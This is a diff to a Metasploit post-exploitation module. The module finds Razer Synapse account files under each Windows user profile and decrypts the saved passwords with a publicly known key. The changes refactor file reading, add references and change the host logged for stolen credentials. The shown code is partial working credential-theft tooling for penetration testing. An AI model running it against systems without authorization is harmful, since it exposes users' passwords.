@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Post
15
15
16
16
include Msf ::Post ::Common
17
17
include Msf ::Post ::Windows ::UserProfiles
18
+ include Msf ::Post ::File
18
19
19
20
def initialize ( info = { } )
20
21
super ( update_info ( info ,
@@ -23,7 +24,7 @@ def initialize(info={})
23
24
This module will enumerate passwords stored by the Razer Synapse
24
25
client. The encryption key and iv is publicly known. This module
25
26
will not only extract encrypted password but will also decrypt
26
- password using public key. Affects version 1.7.15 and earlier .
27
+ password using public key. Affects versions earlier than 1.7.15.
27
28
} ,
28
29
'License' => MSF_LICENSE ,
29
30
'Author' =>
@@ -32,9 +33,13 @@ def initialize(info={})
32
33
'Matt Howard "pasv" <themdhoward[at]gmail.com>' , #PoC
33
34
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
34
35
] ,
36
+ 'References' =>
37
+ [
38
+ [ 'URL' , 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ] ,
39
+ [ 'URL' , 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
40
+ ] ,
35
41
'SessionTypes' => [ 'meterpreter' ] ,
36
- 'Platform' => [ 'win' ] ,
37
-
42
+ 'Platform' => [ 'win' ]
38
43
) )
39
44
end
40
45
@@ -61,7 +66,7 @@ def decrypt(hash)
61
66
def store_creds ( user , pass )
62
67
if db
63
68
report_auth_info (
64
- :host => client . sock . peerhost ,
69
+ :host => Rex :: Socket . resolv_to_dotted ( "www.razerzone.com" ) ,
65
70
:port => 443 ,
66
71
:ptype => 'password' ,
67
72
:sname => 'razer_synapse' ,
@@ -98,13 +103,10 @@ def run
98
103
grab_user_profiles ( ) . each do |user |
99
104
if user [ 'LocalAppData' ]
100
105
accounts = user [ 'LocalAppData' ] + "\\ Razer\\ Synapse\\ Accounts\\ RazerLoginData.xml"
101
- # open the file for reading
102
- config = client . fs . file . new ( accounts , 'r' ) rescue nil
103
- next if config . nil?
106
+ next if not file? ( accounts )
104
107
print_status ( "Config found for user #{ user [ 'UserName' ] } " )
105
108
106
- contents = config . read
107
- config . close
109
+ contents = read_file ( accounts )
108
110
109
111
# read the contents of file
110
112
creds = parse_config ( contents )
0 commit comments